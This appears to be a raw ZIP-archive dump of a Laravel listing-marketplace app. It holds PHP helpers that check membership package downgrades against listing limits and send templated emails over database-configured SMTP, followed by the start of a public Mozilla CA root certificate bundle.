Membership::query()->where([ ['vendor_id', $userId], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ])->where('status', '<>', 2)->whereYear('start_date', '<>', '9999'); $nextMemb = null; if ($currMemb->first()) { $countCurrMem = $currMemb->count(); if ($countCurrMem > 1) { $nextMemb = $currMemb->orderBy('id', 'DESC')->first(); } else { $nextMemb = Membership::query()->where([ ['vendor_id', $userId], ['start_date', '>', $currMemb->first()->expire_date] ])->whereYear('start_date', '<>', '9999')->where('status', '<>', 2)->first(); } } return $nextMemb; } public static function packagesDowngraded($vendorId) { $userCurrentPackage = VendorPermissionHelper::currentPackagePermission($vendorId); $defLanguage = Language::query()->where('is_default', '=', 1)->first(); $listingImgDown = $listingProductDown = $listingFaqDown = $featureDown = $socialLinkDown = $amenitieDown = $listingProductImgDown = false; $listingImgListingContents = $listingProductListingContents = $listingFaqListingContents = $listingFeaturesListingContents = $socialListingContents = $amenitieListingContents = $ProductImgContents = null; $projectSpeciCount = 0; if ($userCurrentPackage) { $features = json_decode($userCurrentPackage->features); $listingImage = Listing::with(['galleries'])->where('vendor_id', $vendorId)->get(); if ($listingImage) { foreach ($listingImage as $listing) { $pimages = $listing->galleries; if ($userCurrentPackage->number_of_images_per_listing < count($pimages)) { $listingImgDown = true; break; } } $listingImgIds = []; foreach ($listingImage as $listing) { $pimages = $listing->galleries; if ($userCurrentPackage->number_of_images_per_listing < count($pimages)) { if (!in_array($listing->id, $listingImgIds)) { array_push($listingImgIds, $listing->id); } } } $image = "ok"; $listingImgListingContents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->where('listing_contents.language_id', $defLanguage->id) ->when($image, function ($query) use ($listingImgIds) { return $query->whereIn('listings.id', $listingImgIds); }) ->select('listings.id', 'listing_contents.title') ->orderBy('listings.id', 'asc') ->get(); } if ($features && in_array('Products', $features)) { //products image check $listingProductImages = Listing::with(['listingProducts'])->where('vendor_id', $vendorId)->get(); if ($listingProductImages) { foreach ($listingProductImages as $listingProductImage) { $listingProductss = $listingProductImage->listingProducts; foreach ($listingProductss as $listingProduct) { $ProductImages = $listingProduct->galleries; if ($userCurrentPackage->number_of_images_per_products < count($ProductImages)) { $listingProductImgDown = true; break; } } } $listingProductImgIds = []; foreach ($listingProductImages as $listingProductImage) { $listingProductss = $listingProductImage->listingProducts; foreach ($listingProductss as $listingProduct) { $ProductImages = $listingProduct->galleries; if ($userCurrentPackage->number_of_images_per_products < count($ProductImages)) { if (!in_array($listingProduct->id, $listingProductImgIds)) { array_push($listingProductImgIds, $listingProduct->id); } } } } $productImage = "ok"; $ProductImgContents = ListingProductContent::join('listing_products', 'listing_products.id', '=', 'listing_product_contents.listing_product_id') ->where('listing_product_contents.language_id', $defLanguage->id) ->when($productImage, function ($query) use ($listingProductImgIds) { return $query->whereIn('listing_products.id', $listingProductImgIds); }) ->select('listing_products.id', 'listing_product_contents.title') ->orderBy('listing_products.id', 'asc') ->get(); } //end product image check } //check Products limit if ($features && in_array('Products', $features)) { $listingProducts = Listing::with(['listingProducts'])->where('vendor_id', $vendorId)->get(); if ($listingProducts) { foreach ($listingProducts as $product) { $products = $product->listingProducts; if ($userCurrentPackage->number_of_products < count($products)) { $listingProductDown = true; break; } } $listingProductIds = []; foreach ($listingProducts as $product) { $products = $product->listingProducts; if ($userCurrentPackage->number_of_products < count($products)) { if (!in_array($product->id, $listingProductIds)) { array_push($listingProductIds, $product->id); } } } $prouct = "ok"; $listingProductListingContents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->where('listing_contents.language_id', $defLanguage->id) ->when($prouct, function ($query) use ($listingProductIds) { return $query->whereIn('listings.id', $listingProductIds); }) ->select('listings.id', 'listing_contents.title') ->orderBy('listings.id', 'asc') ->get(); } } //check faqs limit if ($features && in_array('FAQ', $features)) { $languages = Language::all(); foreach ($languages as $language) { $language_id = $language->id; $listingFaqs = Listing::with(['listingFaqs' => function ($q) use ($language_id) { $q->where('language_id', $language_id); }]) ->where('listings.vendor_id', $vendorId) ->orderBy('listings.id', 'desc') ->get(); if ($listingFaqs) { foreach ($listingFaqs as $faq) { $faqs = $faq->listingFaqs; if ($userCurrentPackage->number_of_faq < count($faqs)) { $listingFaqDown = true; break; } } $listingFaqIds = []; foreach ($listingFaqs as $faq) { $faqs = $faq->listingFaqs; if ($userCurrentPackage->number_of_faq < count($faqs)) { if (!in_array($faq->id, $listingFaqIds)) { array_push($listingFaqIds, $faq->id); } } } $faqstatus = "ok"; $listingFaqListingContents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->where('listing_contents.language_id', $defLanguage->id) ->when($faqstatus, function ($query) use ($listingFaqIds) { return $query->whereIn('listings.id', $listingFaqIds); }) ->select('listings.id', 'listing_contents.title') ->orderBy('listings.id', 'asc') ->get(); } } } if ($features && in_array('Feature', $features)) { $ListingFeatures = Listing::with('specifications')->where('vendor_id', $vendorId)->select('id')->get(); if ($ListingFeatures) { foreach ($ListingFeatures as $Feature) { $projectSpeciCount = $Feature->specifications->count(); if ($userCurrentPackage->number_of_additional_specification < $projectSpeciCount) { $featureDown = true; break; } } $listingFeatureIds = []; foreach ($ListingFeatures as $Feature) { $projectSpeciCount = $Feature->specifications->count(); if ($userCurrentPackage->number_of_additional_specification < $projectSpeciCount) { if (!in_array($Feature->id, $listingFeatureIds)) { array_push($listingFeatureIds, $Feature->id); } } } $feature = "ok"; $listingFeaturesListingContents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->where('listing_contents.language_id', $defLanguage->id) ->when($feature, function ($query) use ($listingFeatureIds) { return $query->whereIn('listings.id', $listingFeatureIds); }) ->select('listings.id', 'listing_contents.title') ->orderBy('listings.id', 'asc') ->get(); } } if ($features && in_array('Social Links', $features)) { $ListingSocialLinks = Listing::with('sociallinks')->where('vendor_id', $vendorId)->select('id')->get(); if ($ListingSocialLinks) { foreach ($ListingSocialLinks as $socail) { $socialCount = $socail->sociallinks->count(); if ($userCurrentPackage->number_of_social_links < $socialCount) { $socialLinkDown = true; break; } } $listingsocialIds = []; foreach ($ListingSocialLinks as $socail) { $socialCount = $socail->sociallinks->count(); if ($userCurrentPackage->number_of_social_links < $socialCount) { if (!in_array($socail->id, $listingsocialIds)) { array_push($listingsocialIds, $socail->id); } } } $social = "ok"; $socialListingContents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->where('listing_contents.language_id', $defLanguage->id) ->when($social, function ($query) use ($listingsocialIds) { return $query->whereIn('listings.id', $listingsocialIds); }) ->select('listings.id', 'listing_contents.title') ->orderBy('listings.id', 'asc') ->get(); } } // // check listing amenities are down graded if ($features && in_array('Amenities', $features)) { $ListingAmenities = Listing::with('listing_content')->where('vendor_id', $vendorId)->select('id')->get(); if ($ListingAmenities) { foreach ($ListingAmenities as $ListingAmenitie) { foreach ($ListingAmenitie->listing_content as $content) { if ($content->aminities) { $amenities = json_decode($content->aminities); if ($userCurrentPackage->number_of_amenities_per_listing < count($amenities)) { $amenitieDown = true; break; } } } } $listingaminitiesIds = []; foreach ($ListingAmenities as $ListingAmenitie) { foreach ($ListingAmenitie->listing_content as $content) { if ($content->aminities) { $amenities = json_decode($content->aminities); if ($userCurrentPackage->number_of_amenities_per_listing < count($amenities)) { if (!in_array($ListingAmenitie->id, $listingaminitiesIds)) { array_push($listingaminitiesIds, $ListingAmenitie->id); } } } } } $amenitie = "ok"; $amenitieListingContents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->where('listing_contents.language_id', $defLanguage->id) ->when($amenitie, function ($query) use ($listingaminitiesIds) { return $query->whereIn('listings.id', $listingaminitiesIds); }) ->select('listings.id', 'listing_contents.title') ->orderBy('listings.id', 'asc') ->get(); } } } return [ 'listingImgDown' => $listingImgDown, 'listingImgListingContents' => $listingImgListingContents, 'listingProductDown' => $listingProductDown, 'listingProductListingContents' => $listingProductListingContents, 'listingFaqDown' => $listingFaqDown, 'listingFaqListingContents' => $listingFaqListingContents, 'featureDown' => $featureDown, 'listingFeaturesListingContents' => $listingFeaturesListingContents, 'socialLinkDown' => $socialLinkDown, 'socialListingContents' => $socialListingContents, 'amenitieDown' => $amenitieDown, 'amenitieListingContents' => $amenitieListingContents, 'listingProductImgDown' => $listingProductImgDown, 'ProductImgContents' => $ProductImgContents, ]; } } PK(\"a66Http/Helpers/MegaMailer.phpnu[first(); $body = $temp->mail_body; if (array_key_exists('username', $data)) { $body = preg_replace("/{username}/", $data['username'], $body); } if (array_key_exists('replaced_package', $data)) { $body = preg_replace("/{replaced_package}/", $data['replaced_package'], $body); } if (array_key_exists('removed_package_title', $data)) { $body = preg_replace("/{removed_package_title}/", $data['removed_package_title'], $body); } if (array_key_exists('package_title', $data)) { $body = preg_replace("/{package_title}/", $data['package_title'], $body); } if (array_key_exists('package_price', $data)) { $body = preg_replace("/{package_price}/", $data['package_price'], $body); } if (array_key_exists('discount', $data)) { $body = preg_replace("/{discount}/", $data['discount'], $body); } if (array_key_exists('total', $data)) { $body = preg_replace("/{total}/", $data['total'], $body); } if (array_key_exists('activation_date', $data)) { $body = preg_replace("/{activation_date}/", $data['activation_date'], $body); } if (array_key_exists('expire_date', $data)) { $body = preg_replace("/{expire_date}/", $data['expire_date'], $body); } if (array_key_exists('last_day_of_membership', $data)) { $body = preg_replace("/{last_day_of_membership}/", $data['last_day_of_membership'], $body); } if (array_key_exists('login_link', $data)) { $body = preg_replace("/{login_link}/", $data['login_link'], $body); } if (array_key_exists('customer_name', $data)) { $body = preg_replace("/{customer_name}/", $data['customer_name'], $body); } if (array_key_exists('verification_link', $data)) { $body = preg_replace("/{verification_link}/", $data['verification_link'], $body); } if (array_key_exists('website_title', $data)) { $body = preg_replace("/{website_title}/", $data['website_title'], $body); } if (session()->has('lang')) { $currentLang = Language::where('code', session()->get('lang'))->first(); } else { $currentLang = Language::where('is_default', 1)->first(); } $be = Basic::first(); //laravel facade mailer if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } if ($be->smtp_status == 1) { try { if (array_key_exists('mail_subject', $data)) { $mail_subject = $data['mail_subject']; } else { $mail_subject = $temp->mail_subject; } Mail::send([], [], function (Message $message) use ($data, $be, $body, $mail_subject) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['toMail']) ->subject($mail_subject) ->from($fromMail, $fromName) ->html($body, 'text/html'); if (array_key_exists('membership_invoice', $data)) { $message->attach(public_path('assets/front/invoices/' . $data['membership_invoice']), [ 'as' => 'Invoice', 'mime' => 'application/pdf', ]); } }); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } //laravel facade mailer end } public function mailToAdmin($data) { $be = Basic::first(); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($be->to_mail) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } } PK(\0uʌHttp/Helpers/cacert.pemnu[## ## Bundle of CA Root Certificates ## ## Certificate data from Mozilla as of: Wed Apr 20 03:12:05 2016 ## ## This is a bundle of X.509 certificates of public Certificate Authorities ## (CA). These were automatically extracted from Mozilla's root certificates ## file (certdata.txt). This file can be found in the mozilla source tree: ## http://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt ## ## It contains the certificates in PEM format and therefore ## can be directly used with curl / libcurl / php_curl, or with ## an Apache+mod_ssl webserver for SSL client authentication. ## Just configure this file as the SSLCACertificateFile. ## ## Conversion done with mk-ca-bundle.pl version 1.25. ## SHA1: 5df367cda83086392e1acdf22bfef00c48d5eba6 ## GlobalSign Root CA ================== -----BEGIN CERTIFICATE----- MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQkUx GTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkds b2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAwMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNV BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYD VQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa DuaZjc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6sc THAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4bwY8iGlb Kk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVtbNV4FpWi6cgKOOvyJBNP c1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrX gzT/LCrBbBlDSgeF59N89iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUF AAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOzyj1hTdNGCbM+w6Dj Y1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE38NflNUVyRRBnMRddWQVDf9VMOyG j/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymPAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhH hm4qxFYxldBniYUr+WymXUadDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveC X4XSQRjbgbMEHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A== -----END CERTIFICATE----- GlobalSign Root CA - R2 ======================= -----BEGIN CERTIFICATE----- MIIDujCCAqKgAwIBAgILBAAAAAABD4Ym5g0wDQYJKoZIhvcNAQEFBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDYxMjE1MDgwMDAwWhcNMjExMjE1MDgwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKbPJA6+Lm8omUVCxKs+IVSbC9N/hHD6 ErPLv4dfxn+G07IwXNb9rfF73OX4YJYJkhD10FPe+3t+c4isUoh7SqbKSaZeqKeMWhG8eoLrvozp s6yWJQeXSpkqBy+0Hne/ig+1AnwblrjFuTosvNYSuetZfeLQBoZfXklqtTleiDTsvHgMCJiEbKjN S7SgfQx5TfC4LcshytVsW33hoCmEofnTlEnLJGKRILzdC9XZzPnqJworc5HGnRusyMvo4KD0L5CL TfuwNhv2GXqF4G3yYROIXJ/gkwpRl4pazq+r1feqCapgvdzZX99yqWATXgAByUr6P6TqBwMhAo6C ygPCm48CAwEAAaOBnDCBmTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E FgQUm+IHV2ccHsBqBt5ZtJot39wZhi4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5nbG9i YWxzaWduLm5ldC9yb290LXIyLmNybDAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjAN BgkqhkiG9w0BAQUFAAOCAQEAmYFThxxol4aR7OBKuEQLq4GsJ0/WwbgcQ3izDJr86iw8bmEbTUsp 9Z8FHSbBuOmDAGJFtqkIk7mpM0sYmsL4h4hO291xNBrBVNpGP+DTKqttVCL1OmLNIG+6KYnX3ZHu 01yiPqFbQfXf5WRDLenVOavSot+3i9DAgBkcRcAtjOj4LaR0VknFBbVPFd5uRHg5h6h+u/N5GJG7 9G+dwfCMNYxdAfvDbbnvRG15RjF+Cv6pgsH/76tuIMRQyV+dTZsXjAzlAcmgQWpzU/qlULRuJQ/7 TBj0/VLZjmmx6BEP3ojY+x1J96relc8geMJgEtslQIxq/H5COEBkEveegeGTLg== -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAMu6nFL8eB8aHm8bN3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1 EUGO+i2tKmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGukxUc cLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBmCC+Vk7+qRy+oRpfw EuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJXwzw3sJ2zq/3avL6QaaiMxTJ5Xpj 055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWuimi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA ERSWwauSCPc/L8my/uRan2Te2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5f j267Cz3qWhMeDGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC /Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565pF4ErWjfJXir0 xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGtTxzhT5yvDwyd93gN2PQ1VoDa t20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ== -----END CERTIFICATE----- Entrust.net Premium 2048 Secure Server CA ========================================= -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChMLRW50cnVzdC5u ZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBpbmNvcnAuIGJ5IHJlZi4gKGxp bWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNV BAMTKkVudHJ1c3QubmV0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQx NzUwNTFaFw0yOTA3MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3 d3d3LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxpYWIuKTEl MCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEGA1UEAxMqRW50cnVzdC5u ZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgpMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEArU1LqRKGsuqjIAcVFmQqK0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOL Gp18EzoOH1u3Hs/lJBQesYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSr hRSGlVuXMlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVTXTzW nLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/HoZdenoVve8AjhUi VBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH4QIDAQABo0IwQDAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJ KoZIhvcNAQEFBQADggEBADubj1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPy T/4xmf3IDExoU8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5bu/8j72gZyxKT J1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+bYQLCIt+jerXmCHG8+c8eS9e nNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/ErfF6adulZkMV8gzURZVE= -----END CERTIFICATE----- Baltimore CyberTrust Root ========================= -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJRTESMBAGA1UE ChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3li ZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoXDTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMC SUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFs dGltb3JlIEN5YmVyVHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKME uyKrmD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjrIZ3AQSsB UnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeKmpYcqWe4PwzV9/lSEy/C G9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSuXmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9 XbIGevOF6uvUA65ehD5f/xXtabz5OTZydc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjpr l3RjM71oGDHweI12v/yejl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoI VDaGezq1BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEB BQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT929hkTI7gQCvlYpNRh cL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3WgxjkzSswF07r51XgdIGn9w/xZchMB5 hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsa Y71k5h+3zvDyny67G7fyUIhzksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9H RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp -----END CERTIFICATE----- AddTrust Low-Value Services Root ================================ -----BEGIN CERTIFICATE----- MIIEGDCCAwCgAwIBAgIBATANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEwHwYDVQQDExhBZGRU cnVzdCBDbGFzcyAxIENBIFJvb3QwHhcNMDAwNTMwMTAzODMxWhcNMjAwNTMwMTAzODMxWjBlMQsw CQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBO ZXR3b3JrMSEwHwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3QwggEiMA0GCSqGSIb3DQEB AQUAA4IBDwAwggEKAoIBAQCWltQhSWDia+hBBwzexODcEyPNwTXH+9ZOEQpnXvUGW2ulCDtbKRY6 54eyNAbFvAWlA3yCyykQruGIgb3WntP+LVbBFc7jJp0VLhD7Bo8wBN6ntGO0/7Gcrjyvd7ZWxbWr oulpOj0OM3kyP3CCkplhbY0wCI9xP6ZIVxn4JdxLZlyldI+Yrsj5wAYi56xz36Uu+1LcsRVlIPo1 Zmne3yzxbrww2ywkEtvrNTVokMsAsJchPXQhI2U0K7t4WaPW4XY5mqRJjox0r26kmqPZm9I4XJui GMx1I4S+6+JNM3GOGvDC+Mcdoq0Dlyz4zyXG9rgkMbFjXZJ/Y/AlyVMuH79NAgMBAAGjgdIwgc8w HQYDVR0OBBYEFJWxtPCUtr3H2tERCSG+wa9J/RB7MAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTAD AQH/MIGPBgNVHSMEgYcwgYSAFJWxtPCUtr3H2tERCSG+wa9J/RB7oWmkZzBlMQswCQYDVQQGEwJT RTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEw HwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBACxt ZBsfzQ3duQH6lmM0MkhHma6X7f1yFqZzR1r0693p9db7RcwpiURdv0Y5PejuvE1Uhh4dbOMXJ0Ph iVYrqW9yTkkz43J8KiOavD7/KCrto/8cI7pDVwlnTUtiBi34/2ydYB7YHEt9tTEv2dB8Xfjea4MY eDdXL+gzB2ffHsdrKpV2ro9Xo/D0UrSpUwjP4E/TelOL/bscVjby/rK25Xa71SJlpz/+0WatC7xr mYbvP33zGDLKe8bjq2RGlfgmadlVg3sslgf/WSxEo8bl6ancoWOAWiFeIc9TVPC6b4nbqKqVz4vj ccweGyBECMB6tkD9xOQ14R0WHNC8K47Wcdk= -----END CERTIFICATE----- AddTrust External Root ====================== -----BEGIN CERTIFICATE----- MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYD VQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEw NDgzOFowbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRU cnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0Eg Um9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvtH7xsD821 +iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9uMq/NzgtHj6RQa1wVsfw Tz/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzXmk6vBbOmcZSccbNQYArHE504B4YCqOmo aSYYkKtMsE8jqzpPhNjfzp/haW+710LXa0Tkx63ubUFfclpxCDezeWWkWaCUN/cALw3CknLa0Dhy 2xSoRcRdKn23tNbE7qzNE0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0p10a3CitlttNCbxWyuHv7 7+ldU9U0WicCAwEAAaOB3DCB2TAdBgNVHQ4EFgQUrb2YejS0Jvf6xCZU7wO94CTLVBowCwYDVR0P 